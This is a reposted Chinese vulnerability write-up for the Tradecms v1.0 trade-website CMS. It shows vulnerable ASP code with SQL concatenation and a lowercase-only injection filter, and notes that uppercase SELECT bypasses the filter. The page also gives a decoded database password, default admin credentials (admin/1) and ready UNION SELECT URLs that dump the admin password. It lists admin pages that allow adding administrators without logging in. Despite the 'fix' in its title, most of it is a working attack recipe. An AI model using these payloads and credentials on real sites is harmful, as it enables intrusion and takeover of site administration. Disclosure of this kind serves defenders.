知识屋:更实用的电脑技术知识网站
所在位置:首页 > 网络安全 > 安全资讯

Tradecms英文外贸企业网站 v1.0.漏洞分析和修复

发布时间:2014-08-13 15:58:25作者:知识屋

发布时间:
2010-07-15

影响版本:
Tradecms英文外贸企业网站 v1.0

描述:注入漏洞,跨权限漏洞;

地址:Clkj_DaTa/#Clkj_Cms#.mdb
数据库打开密码:
默认账号密码:用户:admin  密码:1
默认后台地址:/Clkj_Admin/Index.html

发布作者:    转载请注明版权

漏洞分析:P_view.,N_view.asp

产品显示P_view.asp-------------------------------------------------------

set rs=server.createobject("adodb.recordset")
exec="select * from clkj_Products where clkj_prid="&request("pid")   //SQL查询
rs.open exec,conn,1,1
clkj_BigClassID=rs("clkj_BigClassID")
clkj_SmallClassID=rs("clkj_SmallClassID")
clkj_SmallClassName=rs("clkj_SmallClassName")
clkj_BigClassName=rs("clkj_BigClassName")
clkj_prtitle=rs("clkj_prtitle")
clkj_prcontent=rs("clkj_prcontent")
clkj_prkey=rs("clkj_prkey")
clkj_prprdes=rs("clkj_prprdes")
clkj_prpic=rs("clkj_prpic")
rs.close

新闻显示 N_view.asp----------------------------------------------------------
set rs=server.createobject("adodb.recordset")
exec="select * from clkj_News where clkj_newsid="&request("nid")   //SQL查询   
rs.open exec,conn,1,1
clkj_news_Title=rs("clkj_news_Title")
clkj_news_content=rs("clkj_news_content")
clkj_news_db=rs("clkj_news_db")
clkj_news_key=rs("clkj_news_key")
clkj_news_time=rs("clkj_news_time")
rs.close

包含文件:<!--#include file="Clkj_Inc/clkj_inc.asp"-->

在Clkj_Inc/clkj_inc.asp中包含SQL防注入文件:Clkj_Conn.asp

Clkj_Conn.asp 中防注入代码:

Dim clkj_js,clkj_dui,clkj_i
clkj_js=request.servervariables("query_string")     //GET方式
Dim deStr(17)                                      //下面为过滤字符
deStr(0)="net user"
deStr(1)="xp_cmdshell"
deStr(2)="/add"
deStr(3)="exec%20master.dbo.xp_cmdshell"
deStr(4)="net localgroup administrators"
deStr(5)="select"
deStr(6)="count"
deStr(7)="asc"
deStr(8)="char"
deStr(9)="mid"
deStr(10)=""
deStr(11)=":"
deStr(12)=""""
deStr(13)="insert"
deStr(14)="delete"
deStr(15)="drop"
deStr(16)="truncate"
deStr(17)="from"
clkj_dui=false
For clkj_i= 0 to ubound(deStr)
IF instr(clkj_js,deStr(clkj_i))<>0 then
clkj_dui=true
end IF
Next
IF clkj_dui Then
Response.Write("出错")
response.end
end if

这段防注入代码只过滤了小写select,因此我们可以用SELECT大写轻松绕过

数据库被加了密码,最近看了很多程序,均对数据库码,甚至还有隐藏表名,字段的,还有对ASP文件加密的,难道这是流行趋势吗?其实我是觉得多此一举。

我们来看看数据库密码:
connstr="DBQ="+server.mappath(""&Clkj_mdb&"")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};password="&pwd&";"

PWD在 Clkj_IncClkj_Md5.asp

pwd=NumTOstring("l0k9j8h7b6l0k9j8h7b6")

并且写了一个函数NumTOstring:

Function NumTOstring(num)
num=replace(num,"0","1")
num=replace(num,"9","2")
num=replace(num,"8","3")
num=replace(num,"7","4")
num=replace(num,"6","5")
num=replace(num,"l","a")
num=replace(num,"k","s")
num=replace(num,"j","d")
num=replace(num,"h","f")
num=replace(num,"b","g")
NumTOstring=num
End function

最后得到:pwd=NumTOstring("a1s2d3f4g5a1s2d3f4g5")

这时再打开数据库:查看管理员表名为:clkj_admin,字段为:clkj_admin,clkj_password

漏洞利用:

http://127.1/P_view.asp?pid=273%20AND%201=2%20UNION%20SELECT%201,2,3,4,5,clkj_password,clkj_admin,8,9,10,11,12,13,14,15,16,17%20FROM%20clkj_admin


http://127.1/N_view.asp?nid=65%20AND%201=2%20UNION%20SELECT%201,2,3,4,5,clkj_password,7,8,9%20FROM%20clkj_admin

直接爆出管理员密码

跨权限漏洞:
以下文件未包含认证文件,因此出现如下漏洞
Clkj_Admin/Nimda_menu.asp      无需登录直接增加删除栏目
Clkj_Admin/Nimda_user.asp      无需登录直接增加删除管理员
Clkj_Admin/Nimda_product.asp   无需登录直接增加产品

<*来源: m4r10
链接: http://hi.baidu.com/m4r10
转载请注明版权
*>

(免责声明:文章内容如涉及作品内容、版权和其它问题,请及时与我们联系,我们将在第一时间删除内容,文章内容仅供参考)
收藏
  • 人气文章
  • 最新文章
  • 下载排行榜
  • 热门排行榜